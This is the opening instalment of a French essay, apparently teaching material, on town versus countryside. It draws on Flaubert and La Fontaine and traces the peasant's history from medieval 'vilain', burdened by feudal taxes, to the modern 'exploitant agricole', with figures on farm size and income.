Questions Contemporaines : La Ville.

L’intitulé de la Question nous rappelle que la Ville ne cesse de gagner du terrain et qu’elle est en elle-même un sujet. On gagnera pourtant dans un premier temps à saisir l’interdépendance de la Ville et de la Campagne...

« Les gens de la campagne, meilleurs que ceux de la ville . Envier leur sort. »

Dictionnaire des Idées reçues , G. Flaubert

 

 

Entre le paysan et sa terre, son « pays », le lieu où il vit, l’attachement s’inscrit dans une évidente nécessité. C’est affaire de Nature, facteur de stabilité :

Entre l’homme et sa terre, il y a le lien d’une loi naturelle, écrit Emmanuel Le Roy Ladurie, Il n’y a pas de contrat social. Au contraire, entre le capitaliste et son débiteur, entre le prolétaire et son employeur, entre le fonctionnaire et son Etat, il y a des liens contractuels, des conventions collectives et particulières, débattues, concertées, et modifiables au gré des intéressés, ou encore un statut.

La campagne et les campagnards sont du côté de la permanence, de la transmission mais aussi de la conservation. Ils disent une fidélité à la fois au Temps – à un mode de vie qui fut aussi celui des pères- et à un espace déterminé. Cette fidélité-là assure, dans un même geste, immobilité et tranquillité.

 

                                                 C’est assez, dit le rustique ;                     

                                                Demain vous viendrez chez moi :

                                                Ce n’est pas que je me pique

                                                 De tous vos festins de roi ;

 

                                            Mais rien ne vient m’interrompre :

                                                 Je mange tout à loisir.

                                              Adieu donc ; fi du plaisir

                                           Que la crainte peut corrompre ;

 

                                          Demain vous viendrez chez moi :

                                            Ce n’est pas que je me pique

                                            De tous vos festins de roi ;

                                         Mais rien ne vient m’interrompre :

                                              Je mange tout à loisir.

                                             Adieu donc ; fi du plaisir

                                          Que la crainte peut corrompre ;

 

La fable de La Fontaine , « Le rat des villes et le rat des champs », met en scène une opposition qui n’est donc pas récente : à la ville l’abondance, les séductions de la nouveauté, à la campagne la sérénité. L’existence simple et souvent frugale vaut mieux qu’une vie toujours inquiète et au fond incertaine. La campagne bénéficie de fait des qualités positives de la Nature et de l’idéalisation à laquelle cette dernière est soumise de façon récurrente. A quoi s’ajoutent la valeur du travail et la modestie rassurante des travailleurs de la terre, toujours menacés dans leur ouvrage silencieux par un climat capricieux et le plus souvent imprévisible. Au propre comme au figuré la Campagne séduit par son humilité.

A présent en quête d’authenticité, les citadins se rêvent cycliquement paysans, soucieux d’entretenir des racines plus ou moins imaginaires . De fait, si désormais on évite les déclarations solennelles du type « la terre ne ment jamais », en revanche on peut suivre sans difficulté dans le discours médiatique le fil rouge de la sympathie qu’inspire la figure du « paysan », confédéré ou non, à moustaches ou glabre, mais toujours détenteur « des vraies valeurs ». Les « idées reçues » ont la vie dure…

 

1-L’homme de la campagne : du vilain à l’exploitant agricole.

 

Lorsque Flaubert raille la bêtise hypocrite du bourgeois qui feint de s’extasier sur la vérité du monde rural, celui-ci commence déjà à disparaître. De même que la mascarade médiatique autour de cette « ferme » qu’ habitent, depuis 2004, sur l’antenne de TF1 quelques « célébrités » ( sic), payés pour singer les gestes du monde paysan, vaut avis de décès pour les campagnes. D’ailleurs, de « ferme », il n’y en a guère aujourd’hui, ni dans le paysage, ni dans le lexique. On parle désormais plutôt « d’exploitation agricole », donnant ainsi à la réalité le vécu de la technologie, à la campagne le statut peu enviable de « ressource »…

Or cette nostalgie organisée qui hésite entre la naïveté et l’idéologie la plus réactionnaire « tape » évidemment à côté.

Qui regrette la ferme des ancêtres ? Ceux qui à l’évidence n’y ont jamais passé l’hiver, ni aucune autre saison.

Il faut, bien-sûr, rappeler que le monde paysan, avant d’être idéalisé par les amateurs d’idylles et de macramé, c’est un monde dévalorisé, un monde triste, pénible et méprisé. Le paysan, c’est dans l’ancienne langue du Moyen-Age, « le vilain ». Les anglais, à la même époque, vers le douzième siècle, disent « clown »…  De fait, la réalité du monde des campagnes, c’est d’abord celle de la peine … que l’impôt matérialise

. Le « vilain » est d’abord un homme qui paie : la dîme , la taille , le cens ( rente foncière payée au seigneur), les droits spécifiques du seigneur ( droit de faîtage sur les nouvelles maisons) , la banalité ( impôt sur le moulin), à quoi il convient d’ajouter les corvées ( entre trois et dix jours par an, donnés au seigneur). Le Monde de l’ancien temps, monde rural par excellence, c’est le monde de l’impôt qui écrase et transforme le travail en esclavage. A tous ces prélèvements qui s’ajoutent les uns aux autres, il faut encore joindre la capitation – impôt inventé par Louis XIV et  payé par tous- , mais aussi la gabelle, cet impôt sur le sel, condiment essentiel à la bonne conservation des aliments.

En réalité, le paysan n’a pas les moyens de le demeurer, il passe en  d’un métier à l’autre. Sa petite exploitation suffit à peine à l’autoconsommation familiale, il lui faut être aussi artisan, démultiplier son activité. La première révolution agricole, celle de la découverte de l’usage des engrais et du machinisme, permet au monde paysan de sortir de cette pénurie organisée par le prélèvement obligatoire et permet par conséquent aux hommes de s’installer dans une activité spécialisée. La seconde révolution du monde agricole qui apporte pesticides et rationalisation de l’exploitation du sol a pour effet immédiat d’augmenter la productivité et de pousser à la concentration des exploitations. A ce propos, une seule comparaison :

La surface moyenne d’une exploitation  est de  14 hectares en  1955, or à présent on l’évalue en moyenne à  40 hectares. De fait, si la surface cultivable en France a régressé – six millions d’hectares en France ont été prélevés au profit de la forêt et de l’urbanisation – les rendements sont depuis un siècle trois fois plus élevés. Ce qui conduit ainsi la France aujourd’hui à fournir 22% de la valeur de toute la production agricole de l’Union Européenne.

A présent les paysans, devenus agriculteurs ( première révolution agricole) , puis exploitants agricoles ( seconde révolution), accèdent à un niveau de revenus qui correspond à peu près à la moyenne des salariés français. Exemples :

Eleveurs de porcins (4% des agriculteurs) : 20 154 euros par an  et avec le conjoint : 26 160 euros.

Grandes cultures ( 23% des agriculteurs): 23 294/ 32 731 euros par an.

Fruits et autres cultures (3% des agriculteurs)  : 15 123/ 23 706 euros par an.

Ceci dit ce pouvoir d’achat – certes inégal d’une activité à l’autre mais qui globalement ,et compte tenu des accords négociés dans le cadre de la Politique Agricole Commune, garantit aux agriculteurs un revenu acceptable – ne reflète pas le véritable poids des exploitants agricoles en France. Ce poids est avant tout politique :20% des maires sont des agriculteurs et  la profession est l’une des  plus syndiquées qui soit . C’est aussi un poids « symbolique » et affectif, l’exploitant agricole étant volontiers perçu – à tort ou à raison- comme le gardien d’une certaine authenticité , des traditions , d’un monde ancien menacé.

 

(à suivre)

 

 

 

 

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